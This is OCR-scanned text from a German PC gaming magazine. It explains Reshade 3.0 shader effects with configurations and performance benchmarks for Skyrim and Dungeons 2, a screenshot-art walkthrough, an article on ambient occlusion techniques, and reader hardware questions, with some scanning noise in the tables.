oder Screenshot-Künstler. Die verdeckten Elemente werden weiterhin berechnet! 


Color-Matrix (aus/an) 


— cw. “ e < 


Mit diesem Shader können Sie Farben komplett austauschen und so beispielsweise 
rote Bildschirmelemente grün färben - insbesondere interessant für Screenshots. 


Depth Haze (aus/an) 


Dieser Effekt ist eine Art simples Depth-of-Field und benötigt Zugriff auf den Tiefen- 
buffer. Ab einer konfigurierbaren Entfernung wird das Bild weichgezeichnet. 
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Depth-of-Field (aus/an) 


Reshade bietet eine ganze Reihe Tiefenschärfe-Effekte, vom simplen Ring-Depth-of- 
Field bis hin zu verschiedenen Bokeh-Varianten. Benötigt Zugriff auf den Tiefenbuffer. 


HDR (aus/an) 


Ké 


Ein „unechter” 


HDR-Effekt, der Elemente im Bild ausgehend von umliegenden Farb- 
und Helligkeitswerten beeinflusst und eine höhere Farbdichte suggeriert. 


Lift Gamma Gain (aus/an) 


Dieser Shader ist simpel und doch potent, denn Sie können die Farben für Highlights, 
Mittelton und Schatten getrennt anpassen und so den Look stark beeinflussen. 


Reflective Bump Mapping (aus/an) 


Mit diesem Effekt bekommen Bump-Maps reflektierende Eigenschaften und spiegeln 
umliegende Objekte wieder. Ein interessanter, aber auch etwas befremdlicher Effekt. 
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Emphasize 


Ein interessanter Effekt, der einen bestimmten, horizontalen Bildschirmbereich farb- 
lich hervorhebt. Benötigt Zugriff auf den Tiefenbuffer. 


Levels(aus/an) 


Mit Levels können wie in Photoshop und ähnlichen Tools Schwarz- und Weißwerte 
definiert werden und so Helligkeit und Kontraste beeinflusst werden. 


MXAO (+ Indirect Lighting) (aus/an) 


MXAO ist eine hochqualitative Umgebungsverdeckung. Die indirekte Beleuchtung 
muss händisch zugeschaltet werden (s. folgende Seite). Benötigt Tiefenbuffer-Zugriff. 


Vibrance (aus/an) 


Vibrance erhöht (oder senkt, bei negativen Werten,) die Sättigung besonders hervor- 
stechender Farben. 
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Neue Effekte für Skyrim (Special Edition) 


Bildvergleich Reshade an/aus 


Wir haben eine ganze Reihe anspruchsvoll zu berechnende Effekte in Skyrim 
injiziert, das Endergebnis wirkt jedoch auch deutlich moderner als zuvor. 


Zéi 
м 
r 


per МЇ 


Die Ambient Occlusion ist relativ diffizil abzustimmen. Achten Sie darauf, dass der 
MXAO-Shader früh berechnet wird, um Überdeckungen zu vermeiden. 


Reshade-Performance im Vergleich 


Gigabyte Geforce GTX 1080 G1 Gaming/8G 
2.560 x 1.440, Reshade aus [X0 60,9 (Basis) 
2.560 x 1.440, Reshade an wg 51,6 (-15%) 
3.840 x 2.160, Reshade aus X35; Ex 40,3 (-34%) 
3.840 x 2.160, Reshade an Eam 24,5 (-60%) 
Zotac Geforce GTX 1060 AMP/6G 


1.920 x 1.080, Reshade aus = T 60,9 (Basis) 
1.920 x 1.080, Reshade an === 46,3 (-24%) 

2.560 x 1.440, Reshade aus gan i 48,2 (-21%) 
2.560 x 1.440, Reshade an Eam 29,1 (-52%) 

XFX Radeon RX 480 GTR Black Edition/8G 

1.920 x 1.080, Reshade aus Xs 59,5 (Basis) 
1.920 x 1.080, Reshade ап Xa e 37,2 (-37%) 

2.560 х 1.440, Reshade aus 39; 44,1 (-26% 
2.560 x 1.440, Reshade an Xam 24,7 (-58%) 


System: Intel Core 17-6950Х @ 4,0 GHz, 32 GiByte Corsair DDR4-3000, MSI X99A Ga- 
ming Pro Carbon; Geforce 378.92 WHQL, Radeon Software 17.3.2 Beta Bemerkungen: 
Reshade mit MXAO/IL, Adaptive Sharpen, Adaptive Fog, Depth Haze, Clarity, Colorfullness 


Mimil 2 Fps 


> Besser 
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kyrim war schon immer ein 

dankbarer Kandidat, wenn sich 
das Thema um individuelle Anpas- 
sungen dreht. 


Ein modernerer Look 

Nach der Installation von Reshade 
sowie den Sweet-FX-Shadern stellt 
sich zuerst einmal die Frage, in wie- 
weit wir das Spiel optisch aufpolie- 
ren wollen: Wollen wir nur einige 
Farb-, Kontrast- und Schärfeanpas- 
sungen oder wollen wir tiefere 
Eingriffe vornehmen und beispiels- 
weise die nicht sonderlich ansehn- 
liche Umgebungsverdeckung op- 
tisch aufwerten? Diese Frage stellt 
sich indes nur, wenn das Spiel uns 
den Zugriff auf den Tiefenbuffer 
erlaubt, denn eine Vielzahl der auf- 
wendigeren Effekte benötigen zur 
Berechnung Tiefeninformationen, 
welche in diesem Zwischenspei- 
cher abgelegt werden. 


Aus diesem Grund aktivieren wir 
zuerst einmal den Shader „Dis- 
playDepth*. Dieser Effekt hat ein- 
zig die Aufgabe, den Tiefenbuffer 
anzuzeigen und uns damit die In- 
formation zu übermitteln, ob wir 
diesen überhaupt nutzen können. 
Sehen wir in einer Art Schwarz- 
Weißbild die Umrisse der 3D-Mo- 
delle und Umgebungen, können 
wir die darin enthaltenen Tiefenin- 
formationen für erweiterte Effek- 
te nutzen. Sehen wir dagegen ein 
einförmig schwarzes oder weißes 
Bild, klappt dies nicht. In Skyrim 
(sowohl der SE als auch der Origi- 
nalfassung) funktioniert die Abfra- 
ge, wir können also auch Effekte 
wie Umgebungsverdeckung oder 
ein Depth-of-Field nutzen. 


Wir entschließen uns dazu, genau 
dies zu tun und die Umgebungs- 
verdeckung mit dem Shader MXAO 
aufzupeppen. Dieser Entschluss 
kommt mit einem gewissen Mehr- 
aufwand, denn wir müssen die 
Effekte nicht nur recht aufwendig 
konfigurieren, sondern außerdem 
die Reihenfolge beachten, in wel- 
cher sie appliziert werden. Laden 
wir beispielsweise zuerst den Sha- 
der für Ambient Light oder Adap- 
tive Fog und erst danach MXAO, 
wird die Umgebungsverdeckung 
nachträglich über den Nebel ge- 


legt und überdeckt diesen, was zu 
einem „Durchscheineffekt“ führt. 
Laden wir die Umgebungsverde- 
ckung zuerst, ist dies nicht der Fall. 
Sie müssen indes nicht penibel da- 
rauf achten, die Shader in der rich- 
tigen Reihenfolge zu aktivieren, Sie 
können diese einfach per gedrück- 
ter Maustaste in der Shaderliste 
nach oben oder unten ziehen und 
so die Reihenfolge der Berechnung 
ändern. Wir aktivieren also die Um- 
gebungsverdeckung und passen 
diese unseren Wünschen nach an. 


Dies ist jedoch verhältnismäßig 
schwierig, da auch Skyrim selbst 
einige Nebeleffekte nutzt, die vor 
Reshade berechnet werden. Um 
ein Durchscheinen zu verhindern 
und außerdem eine (simple) Glo- 
bale Beleuchtung zu nutzen, akti- 
vieren wir zusätzlich die indirekte 
Beleuchtung des MXAO-Shaders. 
Dazu wechseln wir im Reshade- 
GUI auf den Tab „Settings“ und 
addieren im Feld „Preprocessor 
Definitions“ die Zeile „UXAO_ENA- 
BLE IL-1*. Nun wechseln wir 
zurück auf den Tab „Home“ und 
laden mit einem Klick auf „Reload“ 
die Shader neu. Jetzt können wir 
die Umgebungsverdeckung sowie 
die indirekte Beleuchtung sehr gut 
abstimmen und ein Durchscheinen 
bei Nebeleffekten vermeiden. 


Wir aktivieren zudem die Shader 
„DepthHaze“ in zweiter Position, 
gefolgt von „AdaptiveSharpen‘“, 
„AmbientLight“, „Clarity“, 
„AdaptiveFog“ und „Colorfullness“. 
Penibel aufeinander abgestimmt, 
sieht Skyrim so deutlich moderner 
aus - allerdings benötigen die auf- 
wendigen Effekte auch einiges an 
Grafikleistung. Da die Special Edi- 
tion von Skyrim mit einem 60-Fps- 
Lock daherkommt, ist das Beziffern 
der Leistungsverlusts in Full HD 
etwas schwierig, jedoch haben so- 
wohl GTX 1060 als auch RX 480 
gerade ausreichend Leistung, das 
aufgehübschte Rollenspiel flüssig 
darzustellen. In WQHD offenbart 
sich ein kleiner Vorteil der Nvidia- 
GPU, sie verliert mit den Reshade- 
Effekten knapp unter 40 Prozent 
Leistung, bei der RX 480 sind es 44 
Prozent. Ultra HD ist erst mit einer 
Oberklasse-GPU sinnvoll. 


sowie 
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SPIELE & SOFTWARE | Reshade 3.0: Make-up für Lieblingsspiele 


Ein düsterer und schärferer Look für Dungeons 2 


Bildvergleich Reshade an/aus 


Mit unserer Reshade-Konfiguration wirkt das Bild deutlich schärfer, zudem sind die 
Farbkontraste kräftiger. Dank SMAA werden auch die Kanten besser geglättet. 


Reshade an 


Reshade aus 


In Dungeons 2 steht der Tiefenbuffer auf dem Kopf. Daher passt die Umgebungsver- 
deckung nicht zu dem Bild, das Sie hier sehen. 


Reshade-Performance im Vergleich 


Zotac Geforce GTX 1060 AMP/6G 


1.920 x 1.080, Reshade aus sl 152,3 (Basis) 
1.920 x 1.080, Reshade an Enn 114,9 (-25%) 
2.560 x 1.440, Reshade aus =Y 118,7 (-22%) 

2.560 х 1.440, Reshade an 5821 86 (-4496) 
3.840 x 2.160, Reshade aus SPIEIB€ IƏIOU2NAIBSUI| 61,4 (-60%) 

3.840 x 2.160, Reshade an ISSNIUEIIOICMIOSHIIBI51,4(-66%) 


XFX Radeon RX 480 GTR Black Edition/8G 


1.920 x 1.080, Reshade aus 52 152,3 (Basis) 
1.920 x 1.080, Reshade an gs? 88,3 (-42%) 

2.560 х 1.440, Reshade aus == 118,3 (-22%) 
2.560 x 1.440, Reshade an i| 71,3 (-53%) 

3.840 x 2.160, Reshade aus gii 61,8 (-59%) 
3.840 x 2.160, Reshade an 48) 46,6 (-69%) 


System: Intel Core i7-6950X @ 4,0 GHz, 32 GiByte Corsair DDR4-3000, MSI X99A 
Gaming Pro Carbon; Geforce 378.92 WHQL, Radeon Software 17.3.2 Beta 
Bemerkungen: Reshade mit Adaptive Sharpen, DPX, HDR, Tonemap und Vibrance 


Mimil @ Fps 
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DVD-Vollversion 

wollen wir einen etwas an- 
deren Weg beschreiten, als jenen, 
den wir für Skyrim wählten. Wir 
beschränken uns auf einige Filter-, 
Farb und Kontrast-Anpassungen 
und verzichten auf anspruchsvol- 
le Tiefeneffekte. Wie in einigen 
anderen Spielen auch, wird der 
Depthbuffer in Dungeons 2 auf 
dem Kopf dargestellt, was zu Fehl- 
darstellungen beispielsweise bei 
der Umgebungsverdeckung MXAO 
führt. Dies kónnten wir zumindest 
theoretisch unter dem Tab ,Set- 
tings“ im Reshade-GUI beheben, 
indem wir dort bei ,Preproces- 
sor Definitions" die Zeile ,RES- 
HADE DEPTH INPUT IS UPSI- 
DE DOWN-O0*" editieren und dort 
eine „1“ eintragen würden. Doch іп 
diesem spezifischen Beispiel führ- 
ten unsere Versuche einzig dazu, 
dass der Tiefenbuffer dann als leer 
angezeigt wurde: Beim Zuschal- 
ten des Shaders ,DisplayDepth* 
gibt der Effekt ein schwarzes Bild 
aus - der Tiefenbuffer ließ sich 
also nicht verwenden. Außerdem 
wird das Spielgesehen in einer iso- 
metrischen Perspektive dargestellt, 
Effekte wie ein Depth-of-Field funk- 
tionieren mit diesem Blickwinkel 


ei unserer 


nur unbefriedigend. 


Schärfer und düsterer! 

Wir wählen daher Effekte, die kei- 
nen Tiefenbuffer voraussetzen. Der 
comic-hafte Look des Spiels ist prin- 
zipiell ansehnlich, einige optische 
Verbesserungen würden Dunge- 
ons 2 jedoch nicht schaden, darun- 
ter eine schärfere Texturdarstellung 
und eine bessere Kantenglättung 
als das integrierte FXAA. Zudem 
wirken einige Farben ein wenig 
blass und ausgewaschen, was wir 
ebenfalls angehen wollen. Hier gibt 
es eine ganze Reihe Herangehens- 
weisen, zur Schärfereglung könn- 
ten wir beispielsweise das günstige 
„LumaSharpen“ nutzen. Dies neigt 
jedoch zur Artefaktbildung. Zudem 
ist Dungeons 2 technisch eher an- 
spruchslos, mit einer aktuellen Mit- 
telklassegrafikkarte erreichen wir 
in Full HD die 152 Fps des Frame- 
locks. Selbst Ultra HD ist keine He- 
rausforderung. Wir können mit un- 
serer GPU-Leistung also ein wenig 
generös umgehen. Wir wählen da- 


her das deutlich kostspieligere, aber 
auch feiner und präziser arbeitende 
„Adaptive Sharpening“, welches wir 
zusätzlich noch ein wenig feintu- 
nen. Was der Shader aus den eher 
unscharfen Texturen herausholen 
kann, ist indes wirklich beachtens- 
wert. Wir sind von dem optischen 
Gewinn jedenfalls angetan, und 
selbst wenn unsere Framerate beim 
Zuschalten um gute 20 Prozent ab- 
sackt, wir haben reichlich davon. 


Um die Farben ein wenig aufzupep- 
pen und den Look von Dungeons 2 
außerdem ein wenig mehr dem 
offensichtlichen Vorbild Dungeon 
Keeper anzunähern, schalten wir 
außerdem mit dem DPX- und HDR- 
Shader zwei relativ aufwendige 
Farbfilter zu. Ersterer imitiert den 
Look früher digitalisierter Kino- 
Filme und dramatisiert schon mit 
den Standard-Einstellungen die 
Farben sehr gefällig. Für unseren 
gewünschten Look nutzen wir die 
RGB-Einstellungen für Gamma und 
Sättigung zusätzlich, um dem Bild 
eine Prise mehr Rot zu verpassen. 
Der ,unechte* HDR-Effekt hinge- 
gen passt Teile des Bilds ausgehend 
von umliegenden Farb- und Hellig- 
keitswerten an und erzeugt so eine 
umfangreicher wirkende Farbpa- 
lette. Der Shader beeinflusst außer- 
dem Kontrast und Helligkeit. 


Mit ein wenig Feintuning haben 
wir beinahe den für uns gefälligen 
Look erzielt, allerdings ist uns das 
Bild minimal zu dunkel und einige 
der Farben etwas zu knallig. Diese 
beiden Faktoren gehen wir mit dem 
Shader „Tonemap“ und „Vibrance“ 
an. Bei ersterem erhöhen wir die 
Belichtung (Exposure) ein wenig 
und reduzieren die Sättigung (Sa- 
turation) minimal. Dies lässt das 
gesamte Bild ein wenig heller wer- 
den, ohne es auszubleichen. Den 
etwas zu kräftigen Farben werden 
wir mit dem Vibrance-Shader Herr, 
der prinzipiell kräftige Farben 
nochmals akzentuiert, diese bei 
negativen Faktoren jedoch auch ab- 
schwächt. Um die Polygonkanten 
zu glätten, dabei aber dennoch die 
Bildschärfe zu wahren, deaktivie- 
ren wir schlussendlich im Options- 
menü das FXAA und aktivieren 
SMAA in Reshade. 
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eshade eignet sich nicht nur 

dazu, einem Spiel neue Effekte, 
einen eigenen Look oder einfach 
nur ein wenig Extra-Schäfe zu ver- 
passen, sondern ist außerdem ein 
gern genutztes und sehr potentes 
Werkzeug für Screenshot-Artists. 
Die Herangehensweise ist hierbei 
ein wenig anders, so werden die Ef- 
fekte meist nur für eine spezfische 
Szene abgestimmt, die als Grundla- 
ge für den Screenshot dient. 


Natürlich können Sie einfach eine 
reguläre Szene aus dem laufenden 
Spiel verwenden und deren Look 
mit Reshade beeinflussen, jedoch 
sind sie in diesem Fall bei der 
Wahl des Motivs sowie der Pers- 
pektive stark eingeschränkt: Sie 
können nur den Blickwinkel und 
die Inhalte ablichten, die durch 
das Spiel durch Kameraperspek- 
tive und Blickfeld zulässt, zudem 
müssen Sie zur rechten Zeit auf 
den virtuellen Auslöser drücken. 
Effekte wie Bewegungsunschärfe 
oder temporale Artefakte durch ein 
TAA oder andere zeitlich versetzt 
arbeitende Shader torpedieren die 
Versuche zudem zusätzlich durch 
unerwünschtes Verwischen. Ab- 
hilfe schaffen hier diverse Kamera- 
Tools, beispielsweise ein Ingame- 
Fotomodus. Allerdings haben diese 
eventuelle Nebeneffekte: Nvidias 
Ansel etwa blockiert Maus- und Tas- 
tatureingaben, Sie können nach 
dem Aufrufen des Tools daher kei- 
ne Änderungen im GUI von Resha- 
de mehr vornehmen und müssen 
die gewünschten Änderungen im 
Vorfeld abstimmen. Insbesondere 
bei Effekten wie der Tiefenschärfe 
ist dies ein schwierigs Vorhaben. 


Hobby- und (Semi-)Professionelle 
Screenshotter nutzten aus diesem 
Grund zumeist Kamera-Hacks, wel- 
che in das Spiel eingreifen und dort 
Funktionen wie Timestop, freie 
Kamera-Positionierung sowie An- 
passungen am Blickfeld zulassen. 
Insbesondere bekannt ist der Mod- 
der Matti Hietanen alias Hattiwatti. 
Dieser betreibt eine Homepage, 
auf der sich die Kamera-Tools her- 
unterladen lassen (http://cinetools. 
xyz/). Zudem finden sich auf seiner 
Twitter-Seite (@Hattiwattl) oft- 
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mals weitere, nicht selten noch un- 
fertige Versionen für andere Spiele. 
Eine weitere Anlaufadresse ist das 
Forum der Seite http://deadend- 
thrills.com/. Beachten Sie unbe- 
dingt, dass es sich bei diesen Tools 
um inoffizielle Hacks handelt, die 
zudem in Multiplayer-Titeln als 
Cheat erkannt werden könnten 
und schlimmstenfalls zu einem per- 
manenten Account-Sperrung füh- 
ren können - wir raten von einem 
Einsatz in Mehrspielertitel daher 
dringend ab und weisen generell 
darauf hin, dass der Nutzen dieser 
Tools auf eigene Gefahr geschieht! 


Bevor Sie das Spiel starten, müssen 
Sie zuerst Reshade samt Sweet-FX- 
Shadern herunterladen und instal- 
lieren. Danach können Sie das Spiel 
starten und die Kamera-Tools akti- 
vieren. Zuletzt benötigen Sie noch 
ein Screenshot-Tool wie Fraps, al- 
ternativ können Sie auch die inte- 
grierte Funktion von Reshade nut- 
zen, unter dem Tab „Setting“ im GUI 
können Sie Auslöse-Taste, Speicher- 
pfad sowie das Format (.bmp oder 
.png) festlegen. Um die Kamera zu 
steuern, empfehlen wir außerdem 
einen (Xbox-)Controller, die Bedie- 
nung per Tastatur ist häufig etwas 
fummelig und außerdem fehleran- 
fällig. In unserem Beispiel aktivie- 
ren wir die Kamerafunktionen mit 
der ,Einfg"-, sperren die Spieleinga- 
be рег „Entf“- und aktivieren den 
Timestop mittels „Ende“-Taste. Nun 
können wir uns ein hübsches Mo- 
tiv ins rechte Licht rücken. In unse- 
rem Fall entschließen wir uns für 
ein Portrait von Lara, welches wir 
in einer prinzipiell langweiligen, 
unschönen Szene festhalten. Mit- 
tels Reshade und „Monochrome“- 
Shader wandeln wir das Bild in ein 
virtuelles Schwarz-Weiß-Foto, pas- 
sen Helligkeit und Kontraste mit- 
tels „Curves“- und „Level“-Shader an 
und nehmen weitere Änderungen 
an diesen Werten mit Hilfe von 
„LiftGammaGain“ vor. Dies erlaubt 
außerdem ein Ausblenden des Hin- 
tergrunds. Schlussendlich rücken 
wir die Aufmerksamkeit des Be- 
trachters mittels Tiltshift-Fokus auf 
Laras Augen (siehe rechts). Dies ist 
nur ein einzelnes Beispiel, beinahe 
jeder erdenkliche Look ist möglich. 


ЧА Рс ИШЕ E Aa AC CO E  — — E » 


Diese eher unschöne Szene haben wir als Ausgangspunkt für ein schwarz-weißes 
Lara-Portrait ausgewáhlt. Es ist kontraststark und der Hintergrund ist bereits dunkel. 


Zuerst applizieren wir den Monochrom-Shader, dann legen wir die Helligkeit und 
Kontraste sowie neue Schwarz- und WeiBpunkte mittels Levels fest. 


ЖРА k. 


Nach einer letzten Perspektiven-Korrektur nutzen wir den einfachen Shader „Tilt- 
shift", um die Aufmerksamkeit des Betrachters auf Laras Augen zu ziehen - fertig. 


A 
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SPIELE & SOFTWARE | Grafikeffekte erklärt, Teil 2 


Eines Schattens Traum 


Im zweiten Teil unserer Reihe über moderne Grafikeffekte werfen wir einen Blick auf die aus aktuel- 


len Spielen nicht mehr wegzudenkende Umgebungsverdeckung. 


ie realistische Umsetzung von 

Licht und Schatten gehört 
zu den anspruchsvollsten Render- 
techniken in Computerspielen 
beziehungsweise Computer Gene- 
rated Imagery (CGI). Während bei 
gerenderten Filmen oder Bildern 
auf sehr komplexe Techniken zu- 
rückgegriffen werden kann und 
via Raytracing eine wirklichkeits- 
nahe Simulation von Licht und 
Schatten möglich ist, wäre dies in 
Spielen viel zu aufwendig für ak- 
tuelle Hardware. Um dennoch ein 
stimmiges Gesamtbild zu erhalten, 
nutzen Entwickler vereinfachte 
Raytracing-Annáherungen. Ein sol- 
cher Rendering-Trick ist die Um- 
gebungsverdeckung oder Ambient 
Occlusion. Dieser Post-Processing- 
Effekt simuliert den Umstand, dass 
in der Realität weniger Licht in 
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Ecken und enge Spalten gelangt, da 
ein Teil der eintreffenden Strahlen 
zuvor von umliegenden Oberflà- 
chen reflektiert werden und daher 
nicht bis an diese Stellen vordrin- 
gen. Ecken und Kanten wirken 
daher dunkler. Diese Lichtstrahlen 
(Rays), deren Wege (Traces) und 
Abpraller (Bounces) tatsächlich in 
Echtzeit zu berechnen, würde ak- 
tuelle GPUs komplett überfordern. 


Entwickler-Tricks 

Seit einigen Jahren kommt daher in 
Spielen die Umgebungsverdeckung 
zum Einsatz. Dabei handelt es sich 
prinzipiell um ein Graustufen-Bild, 
das aus dem Tiefen-Buffer (auch 
Depth- oder Z-Buffer) generiert 
und im Anschluss über die Spielsze- 
ne gelegt wird (Post-Processing). 
Im Aufmacher oben sehen Sie die 


Spielszene ohne Umgebungsver- 
deckung dann den Depthbuffer, 
welcher die Tiefeninformationen 
für den zu berechnenden Effekt 
enthält und schlussendlich die Tex- 
tur für die Umgebungsverdeckung. 
Während der Post-Processing-Pha- 
se wird diese mit dem ursprüngli- 
chen Bild vermischt (Weiß = trans- 
parent). 


In den allermeisten Fällen handelt 
es sich bei der Ambient Occlusion 
zudem um einen Screen-Space- 
Effekt, es können und werden also 
nur Daten genutzt, die sich sicht- 
bar im Bildbereich befinden, was 
zu einigen Nebeneffekten führen 
kann. Neben dem klassischen SSAO 
(Screen-Space-Ambient-Occlusion) 
ist auch Nvidias HBAO+ ein sol- 
cher Bildbereichseffekt. Außerdem 


sorgt der Umstand, dass es sich 
bei dem Post-Processing-Effekt um 
keine „echte“ dreidimensionale 
Berechnung handelt, sondern um 
eine aus 2D-Daten kreierte Textur, 


für einige Unstimmigkeiten. 


Auf den folgenden Seiten wollen 
wir einige Auffälligkeiten doku- 
mentieren. Wir nutzen dafür meh- 
rere Spiele, die auf eine Vielzahl 
verschiedener Techniken setzen. 
Darunter das klassische SSAO, wel- 
ches in The Witcher 3 zudem in ei- 
ner niedrigeren Auflösung berech- 
net wird, die „freie“ HBAO-Variante 
von Mass Effect: Andromeda, sowie 
verschiedene Implementierungen 
von Nvidias HBAO- und schluss- 
endlich das auf 3D-Voxeln basieren- 
de VXAO, welches die nächste Evo- 
lutionsstufe des Effekts darstellt. 
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Auffälligkeiten bei der Umgebungsverdeckung 


Nicht selten fällt direkt ins Auge, dass die Umgebungsverdeckung sehr stark akzentu- dunkel, außerdem kommt das Licht in dieser Szene von vorn — dieser Schatten wäre 
iert wird. Das wirkt zwar dramatisch und , hochqualitativ", ist aber unrealistisch. in der Realitát unmóglich. (3) SSAO in The Witcher 3 wird nicht in voller Auflósung 
(1) Da es sich bei der Umgebungsverdeckung in Mass Effect: Andromeda um einen berechnet, daher deckt sich die gerenderte AO-Textur nicht 1:1 mit der Spielszene, 
Screenspace-Effekt handelt, kann der Shader den Schatten unter der Kiste nicht voll- es entstehen helle Ränder um Figuren und Objekte. HBAO-- wird in voller Auflösung 
stándig berechnen; nótige Informationen werden von unserer Spielfigur verdeckt, der berechnet und fällt deutlich weniger stark durch Artefakte auf. Außerdem tastet 
Schatten verschwindet. Aus diesem Grund ist um Objekte und Figuren eine Art „Halo“ НВАО+ feiner ab und bezieht auch Normal-Maps mit in die Berechnung ein. (4) Diese 
oder „Schein“ zu erkennen, in dem die Umgebungsverdeckung aussetzt. (2) Achten Ecke wirft einen Schatten auf die Bordsteinkante und die Mauer darüber. Das wáre in 
Sie auf die reguláren Schatten: Zum einen ist die Umgebungsverdeckung viel zu der Realität nicht möglich. 


Mass Effect Andromeda mit HBAO Voll — Nebeneffekte einer Umgebungsverdeckung 
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M 


The Witcher 3 mit SSAO (nicht-native Auflósung) The Witcher 3 mit HBAO- (native Auflósung) 
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Screen-Space (Bildbereich) versus World-Space (gesamte Szene) 


Wie wir bereits im vorherigen Teil dieser Artikel-Reihe erórtert haben, kommen 
Screen-Space-Effekte mit einigen Nebeneffekten daher: Sie lassen sich beispielswei- 
se mit dem Verändern des Blickwinkels „aus dem Bild wischen”. Dies gilt auch für 
Nvidias HBAO+, welches wir uns an dieser Stelle genauer ansehen wollen. Achten Sie 
einmal bei (1) auf den (relativ undeutlichen) Schatten des hölzernen Balkens rechts. 
Im ersten Bild ist wird die rote Mauer noch verdunkelt, doch bewegen wir unsere 
Spielfigur ein wenig nach links, verschwindet der Schatten plötzlich. Ein anderer häufig 
zu beobachtender Nebeneffekt ist der Schattenkranz um unser Waffenmodell bei (2). 
In Rise of the Tomb Raider können wir dank VXAO-Support vergleichen, wie sich eine 


HBAOH+ in Fallout 4 — Unmógliche Verschattung um das Waffenmodell ... 


Rise of the Tomb Raider mit HBAO+ (Screen-Space) 
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Screen-Space-Berechnung von einer World-Space-Berechnung unterscheidet. Die sich 
bei (3) befindlichen Felsen werden nicht vollstándig verschattet, da sich die Schatten 
werfenden Objekte nicht im Screen-Space befinden. Auch der Krug bei (4) befindet 
Sich zu nah am Bildschirmrand. Bei VXAO handelt es sich zudem um einen voxelba- 
sierten Effekt, daher wird auch das Geröll hinter dem Busch vollständig verschattet, 
während НВАО+ an diesen Stellen teilweise ausblendet. VXAO erfasst außerdem die 
Normal-Maps genauer. Allerdings ist der prinzipiell sehr schicke Voxeleffekt nochmals 
dunkler als das schon unrealistisch dunkle HBAO+; viel Leistung benötigt diese fort- 
schrittliche Art der Umgebungsverdeckung außerdem. 


... und verschwindende Schatten am Bildschirmrand 


Rise of the Tomb Raider mit VXAO (World-Space) 
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X370: M.2-SSDs im RAID-Verbund? 

Ich bin einer der ,Bekloppten", der einen 
Ryzen 7 1700 vorbestellt hat und erhalte in Kür- 
ze das MSI X370 Gaming Pro Carbon, das über 
zwei M.2-Schnittstellen verfügt. Eine dieser An- 
schlussmóglichkeiten ist per PCI-Express 3.0 x4 
angebunden, während die zweite Schnittstelle 
über PCI-Express 2.0 x4 betrieben wird. Jetzt 
frage ich mich, wie hoch die Unterschiede im 
Datendurchsatz sind und ob es sich überhaupt 
lohnt, meine beiden M.2-SSDs Samsung 960 Evo 
in einen RAID-Verbund einzubinden. 

Stephan K., per E-Mail 


Torsten Vogel: Damit ein derartiger RAID-Ver- 
bund Vorteile ergibt, müssen vier Bedingungen 
erfüllt sein: 

1. Da AMD nativ nur SATA-RAID-Verbünde 
unterstützt, muss ein Software-RAID genutzt 
werden. Dafür muss entweder Linux genutzt 
werden oder, falls Windows zum Einsatz 
kommt, ein drittes Laufwerk für das Betriebs- 
system zur Verfügung stehen. 

2. Diese Software-RAID-Lösung muss unter- 
schiedlich schnelle Laufwerke auslasten kön- 
nen, die Daten also nicht 1:1 (normales RAID 0), 
sondern 2:1 spiegeln. Sonst würde der Verbund 
nur doppelte PCI-Express-2.0-x4-Geschwindig- 
keit erreichen, also in etwa die Leistung eines 
einzelnen PCI-Express-3.0-x4-Anschlusses. 

3. Man benötigt eine Anwendung, die ihre 
Daten ausschließlich vom RAID-Verbund be- 
zieht, also zum Beispiel nicht durch weitere Zu- 
griffe auf die Betriebssystem-SSD gestört wird. 

4. Diese Anwendung muss durch die ohnehin 
sehr gute Performance einer einzelnen 960 Evo 
limitiert werden. Reine Kopiervorgänge dürf- 
ten mangels eines noch schnelleren Ziel- bezie- 
hungsweise Quell-Laufwerkes übrigens nicht 
dazu zählen. 


Sollte bei Ihnen ein Szenario vorliegen, das alle 
vier Bedingungen erfüllt, dann würde sich ein 
RAID-0-Verbund lohnen - und mich würden 
Details darüber interessieren. Uns ist nämlich 
noch keins eingefallen :-) 


Core i7-7700K und GTX 970 kaufen? 
Ich überlege mir, einen i7-7700K zu kaufen 
und ihn mit einer Palit GTX 970 Jetstream zu 
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Community 


www.pcgh.de/print 


Außer über unsere Webseite www.pcgh.de und unser Forum 


www.pcghx.de können Sie selbstverständlich auch per E-Mail an 


leserpost@pcgameshardware.de mit uns Kontakt aufnehmen. 


kombinieren. Allerdings könnte ich mir auch 
einen i5-7600K kaufen und mit dem gesparten 
Geld in eine stärkere Grafikkarte investieren. 
Können Sie mir bei der Entscheidung helfen 
und die Unterschiede zwischen beiden Prozes- 
soren erklären? 

Mario E., per E-Mail 


Stephan Wilke: Der i7-7700K bietet 400 MHz 
mehr Basistakt, 300 MHz mehr Turbotakt, 
2 MiByte mehr L3-Cache und SMT, also acht 
statt vier logische Kerne. Eine umfangreiche 
Leistungsanalyse finden Sie in der Ausgabe 
02/2017, zusätzliche Overclocking-Werte zu bei- 
den Prozessoren in der Ausgabe 03/2017. 


Den Kauf einer vor zweieinhalb Jahren erschie- 
nenen Geforce GTX 970 empfehlen wir nicht, 
da Sie im Preisbereich ab 250 Euro bereits eine 
Geforce СТХ 1060 mit 6 GiByte Grafikspeicher 
erhalten, die schneller, effizienter und dank des 
größeren Speichers auch zukunftstauglicher ist. 
Auch eine Radeon RX 480 mit 8 GiByte ist für 
rund 250 Euro eine bessere Wahl. Falls Sie die 
GTX 970 deutlich günstiger erhalten (=. B. über 
den Gebrauchtmarkt) stimmt vielleicht das 
Preis-Leistungs-Verhältnis, allerdings sind die 
3,5+0,5 GiByte Grafikspeicher bereits für aktu- 
elle Titel in Full HD knapp bemessen. 


MSI X99A SLI Plus: Lanes für M.2-SSD? 

In Ihrem Online-Test des MSI X99S SLI PLus 
haben Sie erwähnt, dass man den M.2-Slot 
wahlweise mit 4 Lanes von den PCI-Express-An- 
schlüssen oder über die SATA-Anschlüsse anbin- 
den kann. Die Information konnte ich auch in 
dem dazugehörigen Handbuch finden. 

Ich habe aber das Problem, dass meine Gra- 
fikkarte Gigabyte GTX 1070 Extreme Gaming 
eine Breite von 3 Steckplätzen aufweist und ich 
folglich auf dem MSI X99 SLI Plus zu wenig Platz 
habe, um meine Grafikkarten im SLI-Modus zu 
betreiben. Daher habe ich mir das Mainboard 
MSI X99A SLI ausgesucht, weil ich bei diesem 
Modell mehr Abstand habe, um meine zwei Gra- 
fikkarten im SLI-Modus zu betreiben. 

Im Handbuch auf Seite 22 finde ich die Infor- 
mation, dass es wohl móglich ist, zu entschei- 
den, wie man den M.2-Slot anbinden móchte. 
Ich würde es definitiv bevorzugen, diesen Slot 


über die PCI-Express-Lanes anzubinden. Es ist 
aber leider nicht ersichtlich, welcher PCI-Ex- 
press-Slot deaktiviert wird. Ich vermute, dass es 
der PCI E» ist. 

